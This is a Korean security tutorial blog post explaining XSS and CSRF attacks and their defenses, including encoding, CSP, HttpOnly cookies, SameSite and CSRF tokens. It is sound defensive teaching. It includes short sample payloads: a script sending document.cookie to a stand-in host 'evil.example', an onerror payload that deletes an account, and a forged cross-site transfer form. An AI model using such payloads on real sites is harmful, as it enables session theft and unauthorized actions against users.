학습 목표
XSS(Cross-Site Scripting)가 브라우저에서 신뢰된 사이트 컨텍스트로 스크립트를 실행시키는 방식을 설명할 수 있다.
Stored·Reflected·DOM XSS의 입력·출력 경로 차이를 설명할 수 있다.
출력 인코딩·CSP·HttpOnly가 XSS 방어에서 맡는 역할을 설명할 수 있다.
CSRF(Cross-Site Request Forgery)가 쿠키 자동 전송으로 위조 요청을 만드는 방식을 설명할 수 있다.
SameSite·CSRF token·Origin 검증으로 CSRF를 막는 이유를 설명할 수 있다.
문제 상황
- 게시판 댓글에
<script>fetch('/api/me').then(...)— 다른 사용자 브라우저에서 실행- 서버가 HTML에 그대로 삽입
- 검색
?q=<script>alert(1)</script>— 결과 페이지에 반사Search: {{ q }}템플릿 이스케이프 없음
- SPA에서
element.innerHTML = userBio— DOM XSS- API 응답은 "안전"해도 클라이언트 조립이 취약
- HttpOnly 쿠키인데 XSS로
/transferPOST — CSRF와 결합 시 송금 SameSite=Lax만 — GET state change·서브도메인·SameSite=NoneAPI는 별도 대책- CSRF token 없이
<form action="https://bank/transfer">— 피해자 로그인 상태면 위조 성공
Injection(앞 편)은 서버 인터프리터(SQL·shell) — XSS·CSRF는 브라우저가 피해자 대신 스크립트·요청을 실행.
본 글의 페이로드·예제는 방어·테스트 학습 목적이다. 허가 없는 시스템 공격은 불법이다.
1. XSS 개요
XSS — 공격자 입력이 HTML/JS 컨텍스트에 들어가 브라우저가 스크립트로 실행 (OWASP A03:2021 Injection 계열 · CWE-79).

| 유형 | 입력 저장 | 실행 시점 | 예 |
|---|---|---|---|
| Stored | DB·파일 영구 | 피해자가 해당 페이지 방문 | 게시판·프로필 |
| Reflected | URL·폼 일회 | 링크 클릭·리다이렉트 | 검색·에러 메시지 |
| DOM | 서버 저장 없음 | 클라이언트 JS가 DOM 삽입 | innerHTML, document.write |
공통: untrusted data → HTML/JS context → browser executes
- 영향 — 세션 탈취(localStorage), 키로거, 페이지 변조, CSRF 선행
- 앞서 HttpOnly —
document.cookie직접 읽기는 막지만 요청은 브라우저가 대신 보냄
2. Reflected XSS
서버가 요청 값을 응답 HTML에 즉시 반영.
<!-- 취약 — code/xss-reflected-vulnerable.example -->
<p>Search results for: {{ query }}</p>
입력 query:
<script>document.location='https://evil.example/steal?c='+document.cookie</script>
방어 — 출력 인코딩
컨텍스트별 이스케이프 — HTML body·attribute·URL·JS 각각 규칙이 다름.
<!-- 안전 — code/xss-reflected-safe.example -->
<p>Search results for: {{ query | e }}</p>
# Jinja2 autoescape ON (기본)
from markupsafe import escape
html = f"<p>Search: {escape(query)}</p>"
| 컨텍스트 | 예 | 규칙 |
|---|---|---|
| HTML text | <p> |
< > & |
| HTML attribute | href, value |
attribute encoding |
| JavaScript | inline script | 피함 — JSON serialize + CSP |
| URL | query param | URL encoding |
- 입력 필터(
<script>제거)만 —<img onerror=...>우회 - 템플릿 엔진 autoescape 기본 ON —
| safe·| raw감사
3. Stored XSS
악성 스크립트가 DB에 저장 → 모든 방문자에게 반복 실행.
Attacker posts comment → DB → other users load page → script runs
- Reflected보다 영향 범위 큼 — 관리자 한 번 방문해도 admin 세션 탈취
- 방어 — 저장 시 검증 + 출력 시 인코딩 (둘 다; 출력이 본질)
- Rich text — HTML sanitizer (DOMPurify, bleach) + allowlist 태그
4. DOM XSS
서버는 JSON만 주고, 프론트가 DOM에 안전하지 않게 넣을 때.
// 취약 — code/dom-xss-vulnerable.example
document.getElementById("bio").innerHTML = userBio;
userBio 값:
<img src=x onerror="fetch('/api/delete-account',{method:'POST'})">
// 안전 — code/dom-xss-safe.example
document.getElementById("bio").textContent = userBio;
// 또는 DOMPurify.sanitize(userBio) for rich HTML
| API | XSS 위험 |
|---|---|
innerHTML, outerHTML |
높음 |
document.write |
높음 |
textContent, createTextNode |
낮음 |
eval, new Function |
금지 |
- SPA — 서버 XSS 없어도 클라이언트 경로 점검 필수
- URL fragment
#name=<script>...—location.hash를 DOM에 넣지 않음
5. XSS 방어 계층

| 계층 | XSS | 비고 |
|---|---|---|
| Output encoding | HTML/attr/JS 컨텍스트 | 1차 방어 |
| CSP | script-src 'self' — inline·eval 제한 |
위반 report |
| HttpOnly cookie | JS로 세션 읽기 차단 | 요청 위조는 CSRF |
| Subresource Integrity | CDN 스크립트 변조 탐지 | supply chain 보조 |
| Framework default | React {var} auto-escape |
dangerouslySetInnerHTML 주의 |
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
- CSP nonce/hash — 필요한 inline만 허용
- 입력 validation — 길이·형식; HTML 허용 시 sanitizer
6. CSRF
CSRF — 피해자 브라우저가 로그인 쿠키를 붙여 의도하지 않은 요청 (CWE-352).

1. Victim logged in to bank.example (session cookie)
2. Victim visits evil.example
3. evil page: <form action="https://bank.example/transfer" method="POST">
4. Browser auto-attaches cookie → bank treats as victim's request
| 조건 | 설명 |
|---|---|
| 쿠키 기반 세션 | 브라우저가 자동 전송 |
| 예측 가능한 URL | /transfer, /settings/email |
| Side effect | GET으로 상태 변경 금지 |
- Injection·XSS와 구분 — CSRF는 공격자 스크립트 실행 없이 HTML form·img만으로 가능
- XSS 성공 시 CSRF token도 페이지에서 읽혀 무력화 — XSS 선행 방어 중요
7. CSRF 방어
SameSite (앞서 인증 기초)
| 값 | cross-site POST | 비고 |
|---|---|---|
| Strict | 전송 안 함 | 강함; OAuth redirect 주의 |
| Lax | top-level GET만 | POST CSRF는 token 필요 |
| None | 전송 (Secure 필수) | 서드파티 embed — token 필수 |
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
CSRF token (Synchronizer Token)
서버가 세션과 묶인 랜덤 token — 위조 페이지는 값을 모름.
<!-- code/csrf-form-safe.example -->
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
...
</form>
# code/csrf-middleware.example (발췌)
def validate_csrf(request):
token = request.form.get("csrf_token")
if not token or not secrets.compare_digest(token, request.session["csrf"]):
abort(403)
| 패턴 | 설명 |
|---|---|
| Synchronizer token | form/header X-CSRF-Token |
| Double Submit Cookie | cookie + header 동일 — SPA |
| Origin / Referer | Origin 헤더 검증 — API 보조 |
- GET — 상태 변경 절대 금지 (
/delete?id=1❌) - JSON API —
Content-Type: application/json+ CORS + token; 단순 form CSRF 완화 - OAuth state — CSRF와 동일 원리 (앞서 OAuth)
8. 테스트·체크리스트
| XSS | 확인 |
|---|---|
| Template | autoescape ON, | safe grep |
| API | JSON 만 — HTML 혼합 없음 |
| SPA | innerHTML·dangerouslySetInnerHTML grep |
| Header | CSP 배포·report-uri |
| Cookie | HttpOnly + Secure |
| CSRF | 확인 |
|---|---|
| State change | POST/PUT/PATCH/DELETE only |
| Token | 모든 state-changing form/API |
| SameSite | Lax 이상; None이면 token 필수 |
| Origin | API gateway에서 검증 |
| 안티패턴 | |
|---|---|
| blacklist filter | <ScRiPt>·unicode 우회 |
| CSRF token in GET | URL·Referer 유출 |
| "API는 JSON이라 안전" | CORS misconfig + simple request |
9. 정리
- XSS — 출력 컨텍스트에 스크립트 삽입 — stored/reflected/DOM
- 방어 — 출력 인코딩 + CSP + HttpOnly; 입력 필터만 불충분
- CSRF — 쿠키 자동 전송으로 위조 요청
- 방어 — SameSite + CSRF token + GET 상태 변경 금지
- XSS와 CSRF 동시 점검 — XSS가 CSRF 방어 우회
다음에 다룰 것
- Broken Access Control
- IDOR, 수평·수직 권한 상승
해당 내용은 OWASP Top 10, OWASP XSS Prevention Cheat Sheet, OWASP CSRF Prevention Cheat Sheet, CWE-79 (Cross-site Scripting), CWE-352 (Cross-Site Request Forgery) 의 내용을 기반으로 합니다.
'애플리케이션 보안' 카테고리의 다른 글
| OWASP Top 10 (0) | 2026.06.29 |
|---|---|
| Broken Access Control (0) | 2026.06.28 |
| Injection (0) | 2026.06.26 |
| 인가 모델 (0) | 2026.06.25 |
| OpenID Connect (0) | 2026.06.24 |